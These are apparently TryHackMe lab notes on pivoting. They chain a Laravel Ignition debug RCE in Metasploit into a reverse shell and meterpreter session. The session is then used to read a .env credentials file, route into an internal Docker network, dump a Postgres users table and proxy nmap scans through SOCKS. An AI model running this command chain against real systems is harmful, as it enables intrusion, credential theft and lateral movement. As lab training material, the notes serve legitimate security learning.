# Pivoting ###### tags: `tryhackme` `metasploit` `pivoting` [TOC] --- https://www.youtube.com/watch?v=mZqNP2fOLlk&t=2672s ## Nmap ``` nmap 10.10.32.27 -sC -sV -F ``` - -sC:default script - -sV:detect service - -F: scan default specific port  INFO - apache 2.5.54 --- ## Ping host ``` ping 10.10.32.27 ```  INFO - ttl=64 ->Linux (host) - ttl=128 -> windows(host) --- ## Open browser ``` firefox 10.10.32.27 ```  INFO - Laravel v8.26.1 (PHP v7.4.30) --- ## Find Exploit (Local Database) ``` searchsploit laravel ```  --- ``` searchsploit laravel 8 ```  - Laravel 8.4.2 debug mode - Remote code execution | php/webapps/49424.py //RCE --- Metasploit (module exploit framework) - auxiliary(scanning module) ``` msf6 > search laravel ```  ``` info exploit/multi/php/ignition_laravel_debug_rce ``` or ``` info 1 ``` --- Using the module ``` use 1 ``` or ``` use exploit/multi/php/ignition_laravel_debug_rce ```  ``` msf6 exploit(multi/php/ignition_laravel_debug_rce) > set RHOSTS 10.10.32.27 ``` --- Automatically check ``` msf6 exploit(multi/php/ignition_laravel_debug_rce) > check ```  --- ``` msf6 exploit(multi/php/ignition_laravel_debug_rce) > show targets ```  --- ``` show options ```  --- ``` msf6 exploit(multi/php/ignition_laravel_debug_rce) > set LHOST eth0 ``` - eth0 (Locatl network interface Super hacker Www ``` exploit ```  --- ``` id ```   - user:www-data We're in !!!!!!! (awesome fantastic --- ## Upgrade Our Reverse Shell () ``` background ``` Let current reverse shell run in the background --- show our current sessions ``` sessions ``` --- upgrade to supper shell(meterpreter) ``` sessions -u 1 ```   --- ## Interate our supper shell ``` sessions -i 2 ```  ``` help ```    Recommend: Take some time to familiar with meterpreter BY cyber security expert (It's very powerful and funny) ``` getuid //whoami ```  ``` getpid //current proccess ```  ``` ps //aux ```  --- In side docker container we need to find DB credential to access DB ``` shell ``` ``` env ``` ``` cd /var/www ```  ``` cat .env ```  DNS Resolve ``` resolve webservice_database ```  save session 2 ``` background ``` ## Router Adding router to session 2 (metepreter) ``` route add 172.28.101.51/32 2 ``` ``` route add 172.17.0.1/32 2 ```  --- Try to access DB ``` search postgre ``` id 16 'schema' ->dump DB information  Result  Try to execute sql query  ``` use 11 ``` ``` info ``` ``` set RHOST 172.28.101.51 ``` ``` set DATABASE postgres ``` ``` set SQL "select * from users" ``` ``` exploit ```  --- ## Socks proxy ``` search socks ```  ``` use 0 ``` ``` exploit ``` ``` jobs //jobs -l (kill the proccess ) ``` Local host ``` curl --proxy socks5://127.0.0.1:1080 http://172.17.0.1 ```  ``` proxychains -h ``` ``` vim /etc/proxychains4.conf ``` socks5 127.0.0.1 1080 ``` proxychains curl http://172.17.0.1 ``` --- Scanning ``` proxychains nmap -sV -sT -F -Pn 172.17.0.1 ``` 
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up